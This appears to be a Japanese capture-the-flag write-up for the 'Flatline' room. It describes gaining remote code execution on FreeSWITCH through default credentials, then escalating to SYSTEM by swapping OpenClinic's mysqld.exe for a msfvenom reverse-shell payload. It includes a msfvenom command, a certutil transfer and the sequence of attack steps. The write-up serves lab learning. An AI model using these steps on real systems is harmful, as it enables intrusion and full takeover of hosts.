Room: Flatline
Difficulty: Easy
Show: Free
CTF形式でマシン攻略しフラグを取得するタイプのRoomになります。
内在する脆弱性をexploitして攻略するマシンでした。
列挙
nmapを実行したところ、3389/tcp(RDP)と8021/tcp(freeswitch-event)が稼働していることがわかりました。
nmap -v -p- -Pn -T4 -sV -sC -A 10.10.253.119
3389/tcp(RDP)は認証情報を入手した際に確認するとして、8021/tcp(freeswitch-event)が気になります。
freeSWITCHとは?
FreeSWITCHはSoftware Defined Telecom Stackであり、独自の通信スイッチから、あらゆるコモディティハードウェア上で動作する汎用的なソフトウェア実装へのデジタル変換を可能にします。Raspberry PIからマルチコアサーバーまで、FreeSWITCHはあらゆるデバイスの通信の可能性を解き放つことができます。ホスティングされたクラウドプラットフォームであるSignalWireと組み合わせることで、FreeSWITCHは外部と相互接続し、あらゆるサイズに拡張することが可能です。
PBX(オフィス電話システム)やVoIP電話、ボイスメール、ビデオ会議ホストなどのアプリケーションで使用されているようです。
また、調べていくとRCE可能なexploitコードがありました。
FreeSWITCH v1.10.1は、接続にあたって認証が必要なのですが、ここでデフォルトの認証情報を使用している場合にRCEが可能になるようです。
searchsploit
コマンドでexploit情報を取得します。
取得したものはテキストファイルだったので、exploit部分を抜き出し、別途保存します。>exploit.py
exploitコードを実行します。
python3 exploit.py <target> <cmd>
無事、コマンドを実行することが出来ました。
続いて、このexploitコードを使用してリバースシェルを取得していきます。
まずは、リバースシェル取得用のペイロードを作成します。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
続けて、作成したペイロードを対象マシンへ送り込みます。
kali側で簡易的なWebサーバを稼働させ、対象マシンでcertutil
コマンドを実行します。
最後に、kaliで接続を待ち受け、送り込んだペイロードを実行します。
無事、最初のシェルを取得することが出来ました。
権限昇格
しばらくの間探索を行ったところ、C:\Users\Administrator\Desktopにて怪しげな実行ファイルを見つけました。
OpenClinicとは?
OpenClinicは、PHPで書かれた使いやすいオープンソースの医療記録システムです。主に個人のクリニック、外科、個人医師のために考えられています。プラットフォームに依存せず、多言語アーキテクチャを採用しています。
また、searchsploit
コマンドにてローカル権限昇格のexploitを見つけることが出来ました。
内容としては、C:\projects\openclinic\mariadb\bin\に対して低レベル権限のユーザに書き込み権限がある場合、C:\projects\openclinic\mariadb\bin\にある「mysqld.exe」もしくは「tomcat8.exe」を攻撃者が用意したリバースシェル用のペイロードに書き換えることでシステム権限のリバースシェルを取得できるというものです。
手順としては以下の通りになります。
- kali側でリバースシェル用のペイロードを作成
- 作成したペイロードをC:\projects\openclinic\mariadb\bin\に配置
- 元のmysqld.exeもしくはtomcat8.exeを作成したペイロードに置換
- kaliで接続を待ち受け、対象マシンを再起動
手順が少なく、容易に権限昇格が出来てしまうため、かなり危険な脆弱性と言えます。
実際に実行していきます。
まずは、リバースシェル用のペイロードを作成し、対象マシンへ送り込みます。
続いて、現状のmysqld.exeを送り込んだペイロードへ変更します。
ここではren
コマンドを使用してファイル名を変更します。
最後にkaliで接続を待ち受け、対象マシンを再起動します。
再起動はshutdown /r /t 1
にて行います。
※再起動に少し時間かかります。
無事、システム権限のシェルを取得することが出来ました。